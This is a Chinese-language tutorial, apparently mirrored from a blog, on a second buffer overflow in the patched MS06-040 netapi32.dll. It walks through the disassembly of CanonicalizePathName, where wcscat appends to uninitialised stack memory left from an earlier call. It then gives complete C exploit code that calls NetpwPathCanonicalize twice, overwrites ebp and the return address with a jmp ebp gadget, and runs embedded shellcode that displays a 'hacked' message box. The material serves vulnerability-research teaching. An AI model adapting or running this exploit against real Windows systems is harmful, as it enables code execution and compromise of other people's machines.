zoukankan      html  css  js  c++  java
  • 缓冲区溢出分析第09课:MS06-040漏洞研究——深入挖掘

    前言

            经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用。在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否定的。即便是打了补丁,虽说我们之前所分析的漏洞已被补上,但是这个程序中依旧存在着其它的问题。

     

    对漏洞函数进行静态分析

            我们之前所研究的Netapi32.dll的大小为309,008 字节,补丁后的文件大小为309,760 字节。我们用IDA Pro载入打过补丁后的DLL文件,找到之前出现问题的函数位置进行分析:


    图1

            补丁前的程序之所以会出现问题,就是因为程序并未对第二个参数的长度做出足够的限定。补丁前的程序在以宽字符的形式计算出第二个参数的长度之后,是与0x411进行比较的,也就是说,只要第二个参数的长度不大于0x822个字节就可以。但是在补丁后的程序中,如上图所示,在位于0x71BA42BC中的比较语句,是将第二个参数(Source)与0x207相比较,也就是说,此时第二个参数的大小不能够超过0x414个字节,而栈空间分配的就是0x414个字节,因此不会出现溢出的情况。所以如果想实现漏洞的利用,还需要进一步深入挖掘才可以。对此,我们可以从这个函数最开始的部分进行分析:


    图2

            程序在分配了0x414字节的空间之后,利用异或运算将esi中的内容清空,然后将[ebp+arg_0]与esi也就是0进行比较,其实这也就是在判定,指向第一个字符串的指针是否为空。如果为空,那么接下来的条件跳转不成立,程序就会来到0x71BA42AE的位置执行。如果指向第一个字符串的指针不为空,但是指向的却是空的字符串,见下图:


    图3

            这里对第一个字符串的长度进行测定,如果字符串内容为空,也就是长度为0,那么接下来的跳转成立,程序会直接来到0x71BA42B5的位置执行:


    图4

            程序在这里会将未初始化的缓冲区以及第二个参数(Source)利用wcscat函数进行连接。其实这是一个非常不安全的操作,因为尚未初始化的栈空间的长度是未知的,甚至可能超过起初分配的0x414个字节,然后再与参数二进行连接,就会有缓冲区溢出的隐患。

            这里有一个问题需要说明的是,为什么第一个参数指向的字符串拷贝到缓冲区就不会有这个问题,而第二个参数复制进缓冲区就会有隐患呢?这是因为第一个参数字符串使用的是“wcscpy”进行拷贝的,它会将字符串从缓冲区的起始位置进行拷贝。而第二个参数使用的是wcscat,它会检查缓冲区中的“”也就是字符串的尾部位置,然后将新的字符串拷贝到“”的位置,最后再加上“”作为结尾。

            那么现在的问题就是应该如何控制缓冲区的内容和大小。一个简单的做法就是连续调用两次CanonicalizePathName()函数。当第一次调用该函数时,缓冲区第一次被填充并进行字符串连接的操作,当第一次调用结束的时候,恢复栈帧,释放缓冲区空间,此时只要不做任何的栈空间操作(比如函数调用),那么原始缓冲区中的内容是不会改变的。而第二次调用时,还会继续对这块缓冲区进行操作,那么此时就会还保留有第一次调用时的数据,于是就存在着溢出的风险。

            函数CanonicalizePathName()是不能够被直接调用的,因为它是NetpwPathCanonicalize()的子函数。所以这里可以回到NetpwPathCanonicalize()中来看一下二者之间的调用方式:


    图5

            由上图可见,当CanonicalizePathName()调用完毕后,程序会对其返回值(保存在eax中)进行判断,也就是与edi相比较,而edi在这里是恒为0的,那么这里也就是在验证其返回值是否为0。如果不为0,那么就会跳到0x71BA4284处执行,也就是函数退出的位置。如果为0,那么接下来还会有其它的函数调用。刚才说了,只要没有其它的函数调用,那么缓冲区的内容就不会被更改,也就是说,我们这里希望CanonicalizePathName()的返回值不为0,让程序接下来直接退出,以保证缓冲区中的内容不被更改。那么该如何让它的返回值不为0呢,我们可以看一下该函数最后一部分的反汇编代码:


    图6

            在上图中,位于0x71BA431E处的wcslen用于计算合并后的路径字符串的长度,注意这个长度是Unicode的,因此下面的eax+eax+2实际上也就是在计算合并后的字符串一共有多少个字节,这里加上2是因为还需加上末尾的两个空字节。接下来利用比较语句,将字节长度与arg_C相比较。注意这里的arg_C是用于保存连接后的字符串的缓冲区空间的大小。如果相比较的结果是缓冲区空间大,那么就会执行左边的流程,进行字符串的拷贝操作,并将eax置零后返回。如果缓冲区的空间小,那么执行右边的流程,于是eax的值就不为0了。依据这一点,我们在第一次调用的时候,可以将缓冲区空间的大小,也就是arg_C的值设置小一点,就能够让它返回非零值了。

     

    漏洞利用程序的编写

            依据上面的分析,就可以进行漏洞利用程序框架的编写:

    1. #include <windows.h>  
    2.   
    3. typedef void (*MYPROC)(LPTSTR,...);  
    4.   
    5. #define StrCat_SIZE_1      0x184  
    6. #define StrCat_SIZE_2      0x2C0  
    7. #define lpWideCharStr_SIZE 0x440  
    8. #define StrCpy_SIZE        0x410  
    9.   
    10. int main()  
    11. {  
    12.     char Source_1[StrCat_SIZE_1];  
    13.     char Source_2[StrCat_SIZE_2];  
    14.     char lpWideCharStr[lpWideCharStr_SIZE];  
    15.     int  arg_8 = lpWideCharStr_SIZE;  
    16.     char arg_C_1[StrCpy_SIZE];  
    17.     char arg_C_2[StrCpy_SIZE];  
    18.     long arg_10_1 = 44;  
    19.     long arg_10_2 = 44;  
    20.   
    21.     HINSTANCE LibHandle;  
    22.     MYPROC    Func;  
    23.     char DllName[] = "./netapi32.dll";  
    24.     char FuncName[] = "NetpwPathCanonicalize";  
    25.     // 将当前目录中的netapi32.dll载入内存  
    26.     LibHandle = LoadLibrary(DllName);  
    27.     if (LibHandle == 0)  
    28.     {  
    29.         MessageBox(0, "Can't Load DLL!""Warning", 0);  
    30.         return 0;  
    31.     }  
    32.     // 获取NetpwPathCanonicalize()函数的地址  
    33.     Func = (MYPROC)GetProcAddress(LibHandle, FuncName);  
    34.     if(Func == 0)  
    35.     {  
    36.         MessageBox(0, "Can't Load Function!""Warning", 0);  
    37.         FreeLibrary(LibHandle);  
    38.         return 0;  
    39.     }  
    40.     // 用字符a填充第一次函数调用时,wcscat连接的内容  
    41.     memset(Source_1, 0, sizeof(Source_1));  
    42.     memset(Source_1, 'a'sizeof(Source_1)-2);  
    43.     // 用字符b填充第二次函数调用时,wcscat连接的内容  
    44.     memset(Source_2, 0, sizeof(Source_2));  
    45.     memset(Source_2, 'b'sizeof(Source_2)-2);  
    46.     // 用0填充两次函数调用中,wcscpy复制的内容  
    47.     memset(arg_C_1, 0, sizeof(arg_C_1));  
    48.     memset(arg_C_2, 0, sizeof(arg_C_2));  
    49.     // 连续调用两次NetpwPathCanonicalize()函数  
    50.     (Func)(Source_1, lpWideCharStr, 1    , arg_C_1, &arg_10_1, 0);  
    51.     (Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);  
    52.   
    53.     FreeLibrary(LibHandle);   
    54.     return 0;  
    55. }  
            需要将netapi32.dll与上述工程文件放置在同一目录,编译生成Release版,运行,系统会提示出错:


    图7

            可见这里出现了缓冲区溢出的错误,溢出地址为0x62626262,也就是小写字母“b”。那么我们只要让这个返回地址跳转到我们所编写的ShellCode的位置就可以了。由于当函数返回时,ecx不会指向栈顶空间,因此我们这次就不能够使用call ecx了。所以这里我打算将ebp的值覆盖为栈顶地址,然后将返回地址覆盖为jmp ebp,再将ShellCode植入栈顶,从而实现漏洞的利用:

    1. #include <windows.h>  
    2.   
    3. typedef void (*MYPROC)(LPTSTR,...);  
    4.   
    5. #define StrCat_SIZE_1      0x184  
    6. #define StrCat_SIZE_2      0x2C0  
    7. #define lpWideCharStr_SIZE 0x440  
    8. #define StrCpy_SIZE        0x410  
    9.   
    10. char ShellCode[] =   
    11.               "x90x90x90"  
    12.               "x33xDB"                          // xor ebx,ebx  
    13.               "xB7x06"                          // mov bh,6  
    14.               "x2BxE3"                          // sub esp,ebx  
    15.               "x33xDB"                          // xor ebx,ebx  
    16.               "x53"                              // push ebx  
    17.               "x68x69x6Ex67x20"  
    18.               "x68x57x61x72x6E"              // push "Warning"  
    19.               "x8BxC4"                          // mov eax,esp  
    20.               "x53"                              // push ebx  
    21.               "x68x2Ex29x20x20"  
    22.               "x68x20x4Ax2Ex59"  
    23.               "x68x21x28x62x79"  
    24.               "x68x63x6Bx65x64"  
    25.               "x68x6Ex20x68x61"  
    26.               "x68x20x62x65x65"  
    27.               "x68x68x61x76x65"  
    28.               "x68x59x6Fx75x20"   // push "You have been hacked!(by J.Y.)"  
    29.               "x8BxCC"                           // mov ecx,esp  
    30.               "x53"                               // push ebx  
    31.               "x50"                               // push eax  
    32.               "x51"                               // push ecx  
    33.               "x53"                               // push ebx  
    34.               "xB8xeax07xd5x77"                 
    35.               "xFFxD0"                           // call MessageBox  
    36.               "x53"  
    37.               "xB8xFAxCAx81x7C"  
    38.               "xFFxD0" ;                         // call ExitProcess  
    39.   
    40. int main()  
    41. {  
    42.     char Source_1[StrCat_SIZE_1];  
    43.     char Source_2[StrCat_SIZE_2];  
    44.     char lpWideCharStr[lpWideCharStr_SIZE];  
    45.     int  arg_8 = lpWideCharStr_SIZE;  
    46.     char arg_C_1[StrCpy_SIZE];  
    47.     char arg_C_2[StrCpy_SIZE];  
    48.     long arg_10_1 = 44;  
    49.     long arg_10_2 = 44;  
    50.   
    51.     HINSTANCE LibHandle;  
    52.     MYPROC    Func;  
    53.     char DllName[] = "./netapi32.dll";  
    54.     char FuncName[] = "NetpwPathCanonicalize";  
    55.     // 将当前目录中的netapi32.dll载入内存  
    56.     LibHandle = LoadLibrary(DllName);  
    57.     if (LibHandle == 0)  
    58.     {  
    59.         MessageBox(0, "Can't Load DLL!""Warning", 0);  
    60.         return 0;  
    61.     }  
    62.     // 获取NetpwPathCanonicalize()函数的地址  
    63.     Func = (MYPROC)GetProcAddress(LibHandle, FuncName);  
    64.     if(Func == 0)  
    65.     {  
    66.         MessageBox(0, "Can't Load Function!""Warning", 0);  
    67.         FreeLibrary(LibHandle);  
    68.         return 0;  
    69.     }  
    70.     // 用字符a填充第一次函数调用时,wcscat连接的内容  
    71.     memset(Source_1, 0, sizeof(Source_1));  
    72.     memset(Source_1, 'a'sizeof(Source_1)-2);  
    73.     // 将ShellCode拷贝到缓冲区中  
    74.     memcpy(Source_1, ShellCode, sizeof(ShellCode));  
    75.     // 将ShellCode后面的0x00填充为0x90  
    76.     Source_1[sizeof(ShellCode)-1] = 0x90;  
    77.     // 用字符b填充第二次函数调用时,wcscat连接的内容  
    78.     memset(Source_2, 0, sizeof(Source_2));  
    79.     memset(Source_2, 'b'sizeof(Source_2)-2);  
    80.     // 将ebp覆盖为栈顶地址  
    81.     Source_2[0x2AA] = 0x44;  
    82.     Source_2[0x2AB] = 0xea;  
    83.     Source_2[0x2AC] = 0x12;  
    84.     Source_2[0x2AD] = 0x00;  
    85.     // 将返回地址覆盖为jmp ebp  
    86.     Source_2[0x2AE] = 0x98;  
    87.     Source_2[0x2AF] = 0xd4;  
    88.     Source_2[0x2B0] = 0xbb;  
    89.     Source_2[0x2B1] = 0x71;  
    90.     // 用0填充两次函数调用中,wcscpy复制的内容  
    91.     memset(arg_C_1, 0, sizeof(arg_C_1));  
    92.     memset(arg_C_2, 0, sizeof(arg_C_2));  
    93.     // 连续调用两次NetpwPathCanonicalize()函数  
    94.     (Func)(Source_1, lpWideCharStr, 1    , arg_C_1, &arg_10_1, 0);  
    95.     (Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);  
    96.   
    97.     FreeLibrary(LibHandle);   
    98.     return 0;  
    99. }  

            当然我相信大家经过自己的研究,会有更加优秀的漏洞利用方式,也希望我的代码能够起到抛砖引玉的效果。

     

    小结

            至此,我已经利用了三次课程的篇幅比较全面地分析了MS06-040这个漏洞,也希望大家能够以此为起点,多多尝试与交流,成为漏洞挖掘方面的专家。
  • 相关阅读:
    String类的常用方法
    StringBuffer和String的区别
    docker安装kali
    6.找素数
    5.三羊献瑞
    4.迷宫大逃亡
    3.百米
    2.后台登录
    1.猴子吃桃
    深入理解Docker容器和镜像
  • 原文地址:https://www.cnblogs.com/csnd/p/11785762.html
Copyright © 2011-2022 走看看